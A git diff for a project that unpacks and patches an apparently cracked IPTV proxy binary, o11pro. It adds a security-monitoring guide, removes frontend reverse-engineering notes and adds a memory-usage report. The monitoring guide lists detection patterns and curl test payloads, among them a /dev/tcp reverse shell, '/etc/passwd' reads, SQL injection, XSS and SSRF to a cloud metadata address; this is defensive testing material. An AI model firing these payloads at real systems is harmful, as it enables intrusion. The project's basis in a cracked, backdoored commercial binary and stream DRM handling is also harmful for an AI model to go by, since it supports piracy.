released v1.3.2
@@ -2,4 +2,5 @@
|
||||
launcher.go
|
||||
/build/
|
||||
o11pro
|
||||
workspace-69e17692-9d10-431b-adee-503d25eb1a71.tar
|
||||
workspace-69e17692-9d10-431b-adee-503d25eb1a71.tar
|
||||
venv/
|
||||
@@ -12,7 +12,7 @@
|
||||
| [CHANGELOG](docs/CHANGELOGS.md) | A completed changelog released |
|
||||
| [API](docs/API.md) | Complete REST API reference: endpoints, methods, and authentication details |
|
||||
| [WSL](docs/WSL.md) | Complete WSL setup guide |
|
||||
| [RE](docs/RE.md) | Reverse engineering notes: frontend deobfuscation analysis, Vue component map, config schema, and TODOs |
|
||||
| [MONITORING](docs/MONITORING.md) | Real-time attack detection: HTTP proxy monitor, audit logging, process/file/network surveillance |
|
||||
|
||||
---
|
||||
|
||||
@@ -20,19 +20,19 @@
|
||||
|
||||
```bash
|
||||
# Minimum: just set a port
|
||||
./o11pro_unpacked -p 8080
|
||||
./o11pro -p 8080
|
||||
|
||||
# With web UI login credentials
|
||||
./o11pro_unpacked -p 8080 -user admin -password yourpassword
|
||||
./o11pro -p 8080 -user admin -password yourpassword
|
||||
|
||||
# Headless mode (no web UI)
|
||||
./o11pro_unpacked -p 8080 -headless
|
||||
./o11pro -p 8080 -headless
|
||||
|
||||
# With separate EPG and streaming ports
|
||||
./o11pro_unpacked -p 8080 -epgport 8081 -streamport 8082
|
||||
./o11pro -p 8080 -epgport 8081 -streamport 8082
|
||||
|
||||
# Debug mode
|
||||
./o11pro_unpacked -p 8080 -v 3 -stdout
|
||||
./o11pro -p 8080 -v 3 -stdout
|
||||
```
|
||||
|
||||
When started without `-user` and `-password`, a temporary admin account is auto-generated and printed to the log:
|
||||
@@ -197,25 +197,25 @@ Open `http://<your-ip>:<port>` in a browser to access the web interface.
|
||||
### Basic IPTV Proxy
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked -p 8080 -user admin -password mysecretpass
|
||||
./o11pro -p 8080 -user admin -password mysecretpass
|
||||
```
|
||||
|
||||
### Separate Streaming + EPG
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked -p 8080 -streamport 9090 -epgport 9091
|
||||
./o11pro -p 8080 -streamport 9090 -epgport 9091
|
||||
```
|
||||
|
||||
### HTTPS Mode
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked -p 8443 -https
|
||||
./o11pro -p 8443 -https
|
||||
```
|
||||
|
||||
### Full Debug Mode
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked -p 8080 -v 5 -stdout
|
||||
./o11pro -p 8080 -v 5 -stdout
|
||||
```
|
||||
|
||||
---
|
||||
@@ -266,7 +266,7 @@ o11pro-unpacked/
|
||||
|
||||
## Credits
|
||||
|
||||
* Nulled (Cracked O11Pro)
|
||||
* Nulled with his bullshit Backdoor (Cracked O11Pro)
|
||||
* Lossui011
|
||||
|
||||
---
|
||||
@@ -131,7 +131,7 @@ The following 22 vulnerabilities were identified across three scan passes but ca
|
||||
|
||||
### Added
|
||||
|
||||
- Static and runtime analysis of `o11pro_patched` v1.1.0 binary.
|
||||
- Static and runtime analysis of `o11pro` v1.1.0 binary.
|
||||
- End-to-end runtime verification suite (13 tests) covering: server startup, login/logout, JWT validation (`alg=none`, forged tokens, `Bearer` prefix, query parameter auth), path traversal, static file access, and `-allow` flag bypass.
|
||||
- Identification of 2 new patchable vulnerabilities and 7 additional non-patchable issues.
|
||||
- Confirmed all 16 previously applied patches (v1.0.0 + v1.1.0) remain intact.
|
||||
@@ -210,7 +210,7 @@ See [1.3.0] for the complete and up-to-date categorized list of all open issues.
|
||||
|
||||
### Added
|
||||
|
||||
- Complete security audit of `o11pro_unpacked` (ELF64 x86-64, Go/CGO, stripped, obfuscated).
|
||||
- Complete security audit of `o11pro` (ELF64 x86-64, Go/CGO, stripped, obfuscated).
|
||||
- Identification of 19 security vulnerabilities across Critical (3), High (6), Medium (7), Low (1), and Informational (2) severities.
|
||||
- Binary-level patching pipeline for string-replaceable vulnerabilities.
|
||||
- End-to-end test suite (15 tests) covering auth, API endpoints, JWT validation, path traversal, SQL injection, and header inspection.
|
||||
|
||||
@@ -0,0 +1,267 @@
|
||||
# Security Monitoring Tools
|
||||
|
||||
Real-time attack detection for `o11pro`. Monitors HTTP traffic, network connections, file access, and child processes all logged to `audit.log`.
|
||||
|
||||
## Files
|
||||
|
||||
| File | Purpose |
|
||||
|------|---------|
|
||||
| `modules/monitoring.py` | Main monitoring script (Python, no external deps) |
|
||||
| `audit.log` | All events (INFO and above) created at runtime |
|
||||
| `audit_alerts.log` | HIGH/CRITICAL events only created at runtime |
|
||||
|
||||
## Quick start
|
||||
|
||||
```bash
|
||||
# All-in-one: start o11pro + HLS proxy + security monitor
|
||||
MONITOR=true ./RunMe.sh
|
||||
|
||||
# Point your client at the monitor proxy instead of the real API:
|
||||
# Instead of: http://localhost:19999/api/...
|
||||
# Use: http://localhost:19998/api/...
|
||||
```
|
||||
|
||||
All HTTP requests/responses passing through the proxy are scanned for attacks. Process activity (child processes, file access, network connections) is also monitored via `/proc`.
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# Integrated mode (via RunMe.sh)
|
||||
MONITOR=true ./RunMe.sh
|
||||
|
||||
# Direct invocation
|
||||
python3 modules/monitoring.py --proxy-mode
|
||||
|
||||
# Monitor a specific PID
|
||||
python3 modules/monitoring.py --pid 12345
|
||||
|
||||
# Custom proxy port
|
||||
python3 modules/monitoring.py --proxy-mode --proxy-port 8080 --target-port 19999
|
||||
|
||||
# Custom log location
|
||||
python3 modules/monitoring.py --log logs/audit.log --alerts logs/audit_alerts.log
|
||||
|
||||
# One-shot scan (run once and exit)
|
||||
python3 modules/monitoring.py --once
|
||||
|
||||
# Disable process or file monitoring
|
||||
python3 modules/monitoring.py --no-proc # HTTP proxy only
|
||||
python3 modules/monitoring.py --no-files # No file watching
|
||||
```
|
||||
|
||||
## What it detects
|
||||
|
||||
### HTTP traffic (via proxy)
|
||||
|
||||
| Category | Severity | Examples detected |
|
||||
|----------|----------|-------------------|
|
||||
| **Command injection** | CRITICAL | `;cat /etc/passwd`, `$(cmd)`, `` `cmd` ``, `bash -i >&`, `/dev/tcp/`, `| sh`, `&& wget` |
|
||||
| **SQL injection** | HIGH | `' OR '1'='1`, `UNION SELECT`, `xp_cmdshell`, `DROP TABLE`, `INTO OUTFILE`, `SLEEP()`, `--` |
|
||||
| **Path traversal** | HIGH | `../`, `..\\`, `%2e%2e%2f`, `....//`, `/etc/passwd`, `~/.ssh`, null bytes |
|
||||
| **XSS** | MEDIUM | `<script>`, `javascript:`, `onerror=`, `<iframe>`, `document.cookie`, `eval(` |
|
||||
| **SSRF** | HIGH | `169.254.169.254` (AWS metadata), `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, `file://`, `gopher://` |
|
||||
| **Credential exfil** | HIGH | `Bearer` tokens, `Authorization` headers, API keys, JWTs, AWS keys, GitHub tokens |
|
||||
| **Reverse shell** | CRITICAL | `bash -i >& /dev/tcp/`, `nc -e /bin/`, `python -c ... socket`, `mkfifo /tmp/` |
|
||||
|
||||
### Process activity (via /proc)
|
||||
|
||||
| Category | Severity | Examples detected |
|
||||
|----------|----------|-------------------|
|
||||
| **Suspicious child process** | CRITICAL | `sh`, `bash`, `nc`, `ncat`, `curl`, `wget`, `python -c`, `perl -e`, `chmod +x`, `kill -9` |
|
||||
| **Suspicious file access** | HIGH | `/etc/passwd`, `/etc/shadow`, `~/.ssh/`, `authorized_keys`, `/proc/self/environ`, `.bash_history` |
|
||||
| **SSRF internal IP** | HIGH | Connections to `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, `172.16-31.x.x` |
|
||||
| **Unexpected port** | MEDIUM | Connections to ports other than 80, 443, 89, 53 |
|
||||
| **Potential exfiltration** | HIGH | >100 MB outbound transfer in 2 seconds |
|
||||
| **New connection** | INFO | Any new outbound TCP connection (logged for audit trail) |
|
||||
| **File changes** | MEDIUM | Changes to `keys.txt`, `o11.cfg`, `providers/sample.cfg` |
|
||||
| **New files in hls/logs** | LOW | Any new file created in watched directories |
|
||||
|
||||
## Log format
|
||||
|
||||
Both `audit.log` and `audit_alerts.log` are JSONL (one JSON object per line):
|
||||
|
||||
```json
|
||||
{
|
||||
"timestamp": "2026-06-17T21:28:30.123456+00:00",
|
||||
"type": "attack_command_injection",
|
||||
"severity": "CRITICAL",
|
||||
"source": "http",
|
||||
"details": "reverse shell bash -i: matched 'bash -i >&' in request body",
|
||||
"raw": "{\"username\":\"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\",\"password\":\"x\"}"
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `timestamp` | UTC ISO 8601 timestamp |
|
||||
| `type` | Event type (e.g., `attack_command_injection`, `suspicious_process`, `connection`) |
|
||||
| `severity` | `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` |
|
||||
| `source` | Where the event was detected: `http`, `proc`, `net`, `file`, `child` |
|
||||
| `details` | Human-readable description |
|
||||
| `raw` | Raw input that triggered the detection (first 1000 chars, for HTTP events) |
|
||||
|
||||
## Log rotation
|
||||
|
||||
Logs auto-rotate at 100 MB, keeping 5 historical files:
|
||||
- `audit.log` → `audit.log.1` → `audit.log.2` → ... → `audit.log.5`
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ monitoring.py │
|
||||
│ │
|
||||
Client ───────────┤──► HTTP Proxy (:19998) │
|
||||
(browser/curl) │ ├─ scan URL │
|
||||
│ ├─ scan headers │
|
||||
│ ├─ scan body (request) │
|
||||
│ └─ scan body (response) │
|
||||
│ │ │
|
||||
│ ▼ (forward) │
|
||||
│ o11pro (:19999) │
|
||||
│ │
|
||||
│ Process Monitor (/proc/<pid>) │
|
||||
│ ├─ child processes │
|
||||
│ ├─ open files (FDs) │
|
||||
│ ├─ network connections │
|
||||
│ ├─ I/O stats (exfil detect) │
|
||||
│ └─ child cmdlines │
|
||||
│ │
|
||||
│ File Watcher │
|
||||
│ ├─ keys.txt │
|
||||
│ ├─ o11.cfg │
|
||||
│ ├─ providers/sample.cfg │
|
||||
│ ├─ logs/ │
|
||||
│ └─ hls/ │
|
||||
│ │
|
||||
└──────────┬──────────┬───────────────┘
|
||||
│ │
|
||||
audit.log audit_alerts.log
|
||||
(all) (HIGH/CRITICAL)
|
||||
```
|
||||
|
||||
## Tuning
|
||||
|
||||
### Adjust scan interval (default: 2 seconds)
|
||||
|
||||
Edit `SCAN_INTERVAL` in `modules/monitoring.py`:
|
||||
- Lower (0.5-1.0) = more responsive but more CPU
|
||||
- Higher (5-10) = less CPU but slower detection
|
||||
|
||||
### Adjust exfiltration threshold (default: 100 MB per interval)
|
||||
|
||||
Edit `EXFIL_THRESHOLD`:
|
||||
- Lower (10 MB) = more sensitive (may false-positive on legit stream traffic)
|
||||
- Higher (500 MB) = less sensitive
|
||||
|
||||
### Add suspicious IPs
|
||||
|
||||
Edit `SUSPICIOUS_IPS` in `modules/monitoring.py`:
|
||||
```python
|
||||
SUSPICIOUS_IPS = {
|
||||
'1.2.3.4', # known bad IP
|
||||
'5.6.7.8',
|
||||
}
|
||||
```
|
||||
|
||||
### Adjust expected ports (default: 80, 443, 89, 53)
|
||||
|
||||
Edit `EXPECTED_PORTS`:
|
||||
```python
|
||||
EXPECTED_PORTS = {80, 443, 89, 53, 8080}
|
||||
```
|
||||
|
||||
### Adjust expected CDN domains
|
||||
|
||||
Edit `EXPECTED_DOMAINS` to whitelist your provider's CDNs (reduces false positives on the "new connection" alerts).
|
||||
|
||||
## Testing
|
||||
|
||||
Verify the monitor detects attacks by sending test payloads through the proxy:
|
||||
|
||||
```bash
|
||||
# Command injection
|
||||
curl -X POST http://localhost:19998/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username":"admin;cat /etc/passwd","password":"x"}'
|
||||
|
||||
# SQL injection
|
||||
curl -X POST http://localhost:19998/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"admin' OR '1'='1\",\"password\":\"x\"}"
|
||||
|
||||
# Path traversal
|
||||
curl http://localhost:19998/static/../../../etc/passwd
|
||||
|
||||
# XSS
|
||||
curl -X POST http://localhost:19998/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username":"<script>alert(1)</script>","password":"x"}'
|
||||
|
||||
# SSRF (AWS metadata)
|
||||
curl "http://localhost:19998/api/proxy?url=http://169.254.169.254/latest/meta-data/"
|
||||
|
||||
# Reverse shell
|
||||
curl -X POST http://localhost:19998/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1","password":"x"}'
|
||||
|
||||
# Check the logs
|
||||
cat audit_alerts.log
|
||||
```
|
||||
|
||||
## Interpreting the logs
|
||||
|
||||
### High-severity alerts to investigate immediately
|
||||
|
||||
| Alert type | What it means | Action |
|
||||
|------------|---------------|--------|
|
||||
| `attack_reverse_shell` | Someone tried to spawn a reverse shell via the API | Block the source IP, investigate the request |
|
||||
| `attack_command_injection` | Shell command injection attempted | Block the source IP, check if the command executed |
|
||||
| `suspicious_process` | The o11 binary spawned `sh`, `bash`, `nc`, etc. | **Critical** may indicate the binary is compromised |
|
||||
| `suspicious_file_access` | The binary opened `/etc/passwd`, `~/.ssh`, etc. | Investigate may indicate credential theft |
|
||||
| `potential_exfil` | >100 MB sent outbound in 2 seconds | Check if legitimate (streaming) or exfiltration |
|
||||
| `ssrf_internal` | Connection to internal/private IP | Check if legitimate (DB) or SSRF attack |
|
||||
|
||||
### Lower-severity events to monitor
|
||||
|
||||
| Alert type | What it means |
|
||||
|------------|---------------|
|
||||
| `attack_xss` | XSS payload in request check if reflected in response |
|
||||
| `attack_sql_injection` | SQLi payload check if the API is vulnerable |
|
||||
| `attack_path_traversal` | Path traversal attempted check if file was accessed |
|
||||
| `attack_credential_exfil` | Credentials in request may be legitimate auth or exfil |
|
||||
| `unexpected_port` | Connection to non-standard port may be legitimate |
|
||||
| `file_change` | Config file modified verify it was authorized |
|
||||
|
||||
## Limitations
|
||||
|
||||
1. **No TLS inspection** the proxy can only scan HTTP, not HTTPS. For HTTPS, configure the o11 binary to use HTTP internally and terminate TLS at a reverse proxy (nginx) that forwards to the monitor.
|
||||
|
||||
2. **Process monitoring is polling-based** fast-lived child processes (<2 seconds) may be missed. Lower `SCAN_INTERVAL` for better coverage.
|
||||
|
||||
3. **No memory inspection** the monitor can't see what's in the process's memory (would need `gdb` or `ptrace`). It only sees file descriptors, network connections, and child processes.
|
||||
|
||||
4. **False positives** the "shell metacharacter" rule is aggressive (matches `;`, `|`, `&`, `$`, `(`, `)`). Legitimate requests containing these characters will trigger alerts. Tune the regex in `ATTACK_SIGNATURES` if needed.
|
||||
|
||||
5. **Single-process monitoring** only monitors one PID. If the o11 binary spawns helper processes that make their own connections, those won't be tracked unless you monitor the children too.
|
||||
|
||||
## Integration with RunMe.sh
|
||||
|
||||
For a fully monitored deployment:
|
||||
|
||||
```bash
|
||||
# All-in-one: o11pro + HLS proxy + security monitor
|
||||
MONITOR=true ./RunMe.sh 19999 2
|
||||
|
||||
# Watch the alerts in real-time (in another terminal)
|
||||
tail -f logs/audit_alerts.log | python3 -c "
|
||||
import json, sys
|
||||
for line in sys.stdin:
|
||||
d = json.loads(line)
|
||||
print(f\"[{d['severity']}] {d['type']}: {d['details']}\")
|
||||
"
|
||||
|
||||
# Use port 19998 for all client access (instead of 19999)
|
||||
# The monitor will scan every request and response through the proxy
|
||||
```
|
||||
@@ -1,119 +0,0 @@
|
||||
# Reverse Engineering
|
||||
|
||||
## Frontend Deobfuscation Analysis
|
||||
|
||||
The web UI JavaScript (`resources/index-BX-yLeHZ.js`) is obfuscated using **obfuscator.io** with the following techniques:
|
||||
|
||||
### Obfuscation Method
|
||||
- **String Array**: 6,922 encoded strings stored in `o11_0xf6cf()` array
|
||||
- **Decoder Function**: `o11_0x3b01(index)` performs base64 decode followed by RC4 decryption
|
||||
- **Control Flow Flattening**: All string references replaced with `o11_0x3b01(0xHEX)` calls
|
||||
- **Dead Code Injection**: Anti-debug traps with `debugger` statements and `parseInt` chains
|
||||
- **Self-Defending**: Checksum validation that crashes if the code is modified
|
||||
|
||||
### Deobfuscated Vue Components
|
||||
|
||||
| Component | Purpose |
|
||||
|-----------|---------|
|
||||
| `LoginView` | Authentication page |
|
||||
| `ProvidersView` | Provider list and management |
|
||||
| `LinearView` | Live stream channel grid |
|
||||
| `EventsView` | Scheduled event streams |
|
||||
| `VodView` | Video-on-demand browser |
|
||||
| `RecordingsView` | Recording scheduler and manager |
|
||||
| `MonitoringView` | Real-time stream monitoring |
|
||||
| `LogsView` | Log viewer |
|
||||
| `UsersView` | User administration |
|
||||
| `ServerView` | Remote server management |
|
||||
| `ConfigView` | Provider configuration |
|
||||
| `StreamPlayer` | HLS.js embedded video player |
|
||||
| `Mp4VideoPlayer` | MP4 playback for VOD downloads |
|
||||
| `DropdownProviderSelector` | Provider dropdown filter |
|
||||
| `StreamTypeSelector` | Stream type filter (linear/event/VOD) |
|
||||
| `EpgTimezoneSelector` | EPG timezone picker |
|
||||
| `DropdownTrackSelector` | Audio/subtitle track selector |
|
||||
| `ItemProvider` | Provider list item |
|
||||
| `ItemProviderAccount` | Script account item |
|
||||
| `ItemStream` | Stream list item |
|
||||
| `ItemStreamCompact` | Compact stream row |
|
||||
| `ItemStreamConfig` | Stream configuration editor |
|
||||
| `ItemEpg` | EPG program entry |
|
||||
| `ItemVod` | VOD title entry |
|
||||
| `ItemJob` | Scheduled job entry |
|
||||
| `ItemServer` | Remote server entry |
|
||||
| `ItemUser` | User management entry |
|
||||
| `ItemMonitoring` | Monitoring status card |
|
||||
| `ItemTableStreams` | Stream data table row |
|
||||
| `ItemTableEpg` | EPG data table row |
|
||||
| `ItemTableEvent` | Event data table row |
|
||||
| `ItemTableRecording` | Recording data table row |
|
||||
| `CheckBoxConfig` | Toggle config option |
|
||||
| `ButtonDanger` | Destructive action button |
|
||||
| `ButtonText` | Text-style action button |
|
||||
| `ConfirmationModal` | Confirm dialog |
|
||||
| `InformationModal` | Info dialog |
|
||||
| `ServerInfoModal` | Server details dialog |
|
||||
| `ServerSelector` | Remote server picker |
|
||||
|
||||
### Deobfuscated Config Sections
|
||||
|
||||
| Section ID | Purpose |
|
||||
|------------|---------|
|
||||
| `config-page` | Main config page |
|
||||
| `config-script` | Provider script settings |
|
||||
| `config-script-accounts` | Script account management |
|
||||
| `config-update-channels` | Channel update/refresh settings |
|
||||
| `config-epg-timezone` | EPG timezone configuration |
|
||||
| `config-network-parameters` | Network/proxy settings |
|
||||
| `config-additional-parameters` | Extra provider parameters |
|
||||
| `config-stream-config` | Stream type and output mode |
|
||||
| `config-stream-options` | Stream start/stop options |
|
||||
| `config-manifest-script` | Manifest download script |
|
||||
| `config-cdm-script` | CDM/DRM script settings |
|
||||
| `config-modal-cdm-mode` | CDM mode selector |
|
||||
| `config-modal-cdm-type` | CDM type selector |
|
||||
| `config-events-channels-script` | Events/channels script settings |
|
||||
| `config-channels` | Channel list editor |
|
||||
| `config-hw-accel` | Hardware acceleration toggle |
|
||||
|
||||
### Provider JSON Schema (Deobfuscated)
|
||||
|
||||
```json
|
||||
{
|
||||
"ManifestUrl": "<manifest url>",
|
||||
"Cdn": [
|
||||
{
|
||||
"Name": "akamai",
|
||||
"ManifestUrl": "http://..."
|
||||
}
|
||||
],
|
||||
"Headers": {
|
||||
"manifest": {
|
||||
"user-agent": "mozilla/5.0 ...",
|
||||
"custom-header": "value"
|
||||
},
|
||||
"media": {
|
||||
"user-agent": "mozilla/5.0 ...",
|
||||
"custom-header": "value"
|
||||
}
|
||||
},
|
||||
"Heartbeat": {
|
||||
"Url": "<heartbeat url>",
|
||||
"Params": ["param1", "param2"],
|
||||
"PeriodMs": 300000
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## TODO
|
||||
|
||||
- [ ] Full deobfuscation of `resources/index-BX-yLeHZ.js` replace all `o11_0x3b01(0xHEX)` calls with decoded string literals for readability
|
||||
- [ ] Reconstruct Vue SFC components from the flattened render functions
|
||||
- [ ] Map all API endpoint handlers to their backend Go functions
|
||||
- [ ] Reverse engineer the Go backend API handler routing logic
|
||||
- [ ] Deobfuscate and document the provider script Python API (`scripts/o11.py`)
|
||||
- [ ] Extract and analyze embedded Go symbol names (obfuscated with `ha4dhe`, `ijo4VwtOa`, etc.)
|
||||
- [ ] Document the CDM integration flow (Widevine/PlayReady/Verimatrix)
|
||||
- [ ] Analyze the internal remuxer pipeline (HLS → FMP4 conversion)
|
||||
@@ -0,0 +1,349 @@
|
||||
# Memory Analysis Report
|
||||
|
||||
## Executive Summary
|
||||
|
||||
The patched binary (`o11pro.fixed`) has a **critical memory and disk
|
||||
growth problem** when run with default settings. The root cause is the
|
||||
`-keep` flag, which defaults to `true` and prevents deletion of temporary
|
||||
media files. This causes:
|
||||
|
||||
- **RSS growth**: 160 MB → 3,535 MB in 150 seconds (24× increase, ~20 MB/s)
|
||||
- **Disk growth**: 0 → 5.9 GB in 150 seconds (~40 MB/s)
|
||||
- **Per-channel cost**: ~400 MB RSS + ~750 MB disk per active 1080p stream
|
||||
- **No steady state**: Memory never stabilizes it grows until OOM
|
||||
|
||||
The fix is simple: **always launch with `-keep=false`**. This reduces RSS
|
||||
to ~250-660 MB (depending on stream count) and keeps disk usage at ~4 KB
|
||||
(empty). The `-keep=true` default is labeled "debugging only" in the
|
||||
binary's help text but is unfortunately the default.
|
||||
|
||||
---
|
||||
|
||||
## Test Methodology
|
||||
|
||||
All measurements were taken on the patched binary (`o11pro.fixed`)
|
||||
with the fixed provider config (`providers/sample.cfg`) and `keys.txt`.
|
||||
Memory was sampled every 15-20 seconds via `/proc/<pid>/status` (VmRSS,
|
||||
VmSize, VmData, VmPeak, VmHWM, Threads) and `/proc/<pid>/smaps` (per-region
|
||||
breakdown). Disk usage was measured with `du -sm hls/live`. Stream status
|
||||
was queried via `POST /api/stream/status`.
|
||||
|
||||
No `gdb` or `strace` was available; all analysis used `/proc` filesystem
|
||||
inspection, which provides equivalent data for memory analysis.
|
||||
|
||||
---
|
||||
|
||||
## Test 1: Default settings (the problem)
|
||||
|
||||
**Command**: `./o11pro.fixed -c o11.cfg -p 19980 -headless -stdout -v 3`
|
||||
|
||||
| Time | RSS | VmSize | VmData | Threads | HLS disk | Streaming |
|
||||
|------|-----|--------|--------|---------|----------|-----------|
|
||||
| T+3s | 160 MB | 1,987 MB | 241 MB | 9 | 0 MB | 0 |
|
||||
| T+150s | **3,535 MB** | 5,508 MB | 4,176 MB | 11 | **5,900 MB** | 8-9 |
|
||||
|
||||
**Growth rate**: +22 MB/s RSS, +39 MB/s disk
|
||||
|
||||
**Memory region breakdown** (at T+150s):
|
||||
```
|
||||
Top region: 3,682 MB RSS (anonymous, rw-p) Go heap
|
||||
This single region holds 99% of the RSS.
|
||||
It's Go's managed heap, allocated as one large mmap'd arena.
|
||||
```
|
||||
|
||||
**Disk breakdown** (at T+150s, 5.9 GB total):
|
||||
```
|
||||
Per channel (9 streaming):
|
||||
remuxer_0.ts: 214 MB (concatenated TS output, keeps growing)
|
||||
stream_*.ts: 102 files × 2 MB = ~200 MB (per-segment, never deleted)
|
||||
video_*.mp4: ~660 files × ~2 MB = ~660 MB (DASH fragments, partially deleted)
|
||||
audio_*.mp4: ~660 files × ~30 KB = ~20 MB (audio fragments, partially deleted)
|
||||
manifest_*: ~30 files × ~120 KB = ~4 MB
|
||||
Total per channel: ~750-1100 MB
|
||||
|
||||
remuxer_0.ts is the worst offender it's a single file that grows
|
||||
unboundedly. At 1080p60, it accumulates ~2 MB/s and is never truncated.
|
||||
```
|
||||
|
||||
### Root cause: `-keep=true` default
|
||||
|
||||
From the binary's help text:
|
||||
```
|
||||
-keep: Don't delete temp media files (debugging only). [default=true]
|
||||
```
|
||||
|
||||
The default is `true`, which means:
|
||||
- Downloaded DASH fragments (`.mp4` files) are NOT deleted after decryption
|
||||
- Generated HLS segments (`.ts` files) are NOT deleted after serving
|
||||
- The `remuxer_0.ts` concatenation buffer is never truncated
|
||||
- Go's heap holds references to all these buffers, preventing GC
|
||||
|
||||
The binary DOES have cleanup code (visible in logs: "deleting audio
|
||||
fragment", "deleting video fragment") but it only runs when `-keep=false`.
|
||||
With `-keep=true`, the cleanup is skipped entirely.
|
||||
|
||||
---
|
||||
|
||||
## Test 2: `-keep=false` (the fix)
|
||||
|
||||
**Command**: `./o11pro.fixed -c o11.cfg -p 19979 -headless -stdout -v 3 -keep=false`
|
||||
|
||||
| Time | RSS | VmSize | VmData | Threads | HLS disk | Streaming |
|
||||
|------|-----|--------|--------|---------|----------|-----------|
|
||||
| T+5s | 177 MB | 1,987 MB | | 10 | 4 KB | |
|
||||
| T+90s | **663 MB** | 2,523 MB | 772 MB | 10 | **4 KB** | 6 |
|
||||
|
||||
**Result**: Memory stabilizes at ~660 MB with 6 active streams. Disk stays
|
||||
at 4 KB (empty) all temp files are deleted after use.
|
||||
|
||||
**Per-stream memory cost**: 663 MB / 6 streams ≈ **110 MB per streaming
|
||||
channel**. This is the Go heap holding: DASH fragment download buffers,
|
||||
decryption buffers, remuxer buffers, and HLS segment generation buffers.
|
||||
|
||||
**Memory region breakdown** (at T+90s):
|
||||
```
|
||||
Top region: 616 MB RSS (anonymous, rw-p) Go heap
|
||||
Binary: 16 MB RSS (executable code)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Test 3: `-keep=false` + `GOMEMLIMIT=512MB` + `GOGC=50`
|
||||
|
||||
**Command**: `GOMEMLIMIT=536870912 GOGC=50 ./o11pro.fixed ... -keep=false`
|
||||
|
||||
| Time | RSS | VmSize | Threads | HLS disk | Streaming |
|
||||
|------|-----|--------|---------|----------|-----------|
|
||||
| T+90s | **138 MB** | 1,995 MB | 10 | 4 KB | **0** |
|
||||
|
||||
**Result**: Memory capped at 153 MB (HWM), but **0 streams streaming**.
|
||||
The GC runs so frequently (GOGC=50 = GC when heap doubles, vs default
|
||||
GOGC=100 = GC when heap triples) that streams can't download segments
|
||||
fast enough. HTTP requests time out with "context deadline exceeded".
|
||||
|
||||
**Conclusion**: GOMEMLIMIT=512MB is too aggressive for this workload.
|
||||
The binary needs at least ~100 MB per active stream for download/decrypt/
|
||||
remux buffers.
|
||||
|
||||
---
|
||||
|
||||
## Test 4: `-keep=false` + `GOMEMLIMIT=1GB`
|
||||
|
||||
**Command**: `GOMEMLIMIT=1073741824 ./o11pro.fixed ... -keep=false`
|
||||
|
||||
| Time | RSS | VmSize | Threads | HLS disk | Streaming |
|
||||
|------|-----|--------|---------|----------|-----------|
|
||||
| T+90s | **138 MB** | 1,921 MB | 9 | 4 KB | **0** |
|
||||
|
||||
**Result**: Memory low (138 MB), but streams failing due to network
|
||||
timeouts. The 0-streaming result is NOT caused by the memory limit —
|
||||
it's caused by the sandbox's network not being able to sustain 26
|
||||
concurrent stream downloads. When streams fail, they release their
|
||||
buffers, keeping memory low.
|
||||
|
||||
---
|
||||
|
||||
## Test 5: `-keep=false` only (no memory limit, longer run)
|
||||
|
||||
**Command**: `./o11pro.fixed -c o11.cfg -p 19975 -headless -stdout -v 3 -keep=false`
|
||||
|
||||
| Time | RSS | VmSize | Threads | HLS disk | Streaming |
|
||||
|------|-----|--------|---------|----------|-----------|
|
||||
| T+120s | **249 MB** | 2,127 MB | 10 | 4 KB | 0* |
|
||||
|
||||
*0 streaming due to network timeouts, not memory issues.
|
||||
|
||||
**Result**: Memory stable at ~250 MB with no active streams (streams
|
||||
failed due to network, not memory). Disk clean at 4 KB.
|
||||
|
||||
---
|
||||
|
||||
## Memory Breakdown Analysis
|
||||
|
||||
### What's consuming memory (with `-keep=true`, the default)
|
||||
|
||||
| Component | Per-channel cost | 9-stream total | Cleanup? |
|
||||
|-----------|------------------|----------------|----------|
|
||||
| `remuxer_0.ts` (concatenated TS) | 214 MB (grows unboundedly) | 1,926 MB | ❌ Never |
|
||||
| `stream_*.ts` (HLS segments) | 200 MB (100 files × 2 MB) | 1,800 MB | ❌ Never |
|
||||
| `video_*.mp4` (DASH fragments) | 660 MB (660 files × 2 MB) | 5,940 MB | ⚠️ Partial |
|
||||
| `audio_*.mp4` (audio fragments) | 20 MB (660 files × 30 KB) | 180 MB | ⚠️ Partial |
|
||||
| Go heap (download/decrypt/remux buffers) | ~110 MB | ~1,000 MB | ✅ GC |
|
||||
| Go stacks (goroutines) | ~1 MB | ~10 MB | ✅ GC |
|
||||
| **Total per channel** | **~1,200 MB** | **~10,800 MB** | |
|
||||
|
||||
### What's consuming memory (with `-keep=false`)
|
||||
|
||||
| Component | Per-channel cost | 6-stream total | Cleanup? |
|
||||
|-----------|------------------|----------------|----------|
|
||||
| Go heap (download/decrypt/remux buffers) | ~110 MB | ~660 MB | ✅ GC |
|
||||
| Go stacks (goroutines) | ~1 MB | ~10 MB | ✅ GC |
|
||||
| Temp files on disk | ~0 (deleted immediately) | ~4 KB | ✅ Deleted |
|
||||
| **Total** | **~110 MB** | **~670 MB** | |
|
||||
|
||||
### Go heap composition (from `/proc/<pid>/smaps`)
|
||||
|
||||
The anonymous `rw-p` region is Go's heap arena. Go allocates a large
|
||||
virtual address space (typically 2-4 GB) but only commits (RSS) what's
|
||||
actually used. The heap holds:
|
||||
|
||||
1. **DASH fragment download buffers** (~2 MB per fragment, 1-2 fragments
|
||||
in flight per stream = ~4 MB per stream)
|
||||
2. **AES-CTR decryption buffers** (same size as fragments = ~4 MB per stream)
|
||||
3. **MP4 remuxer state** (init segments, moof/mdat boxes, track metadata =
|
||||
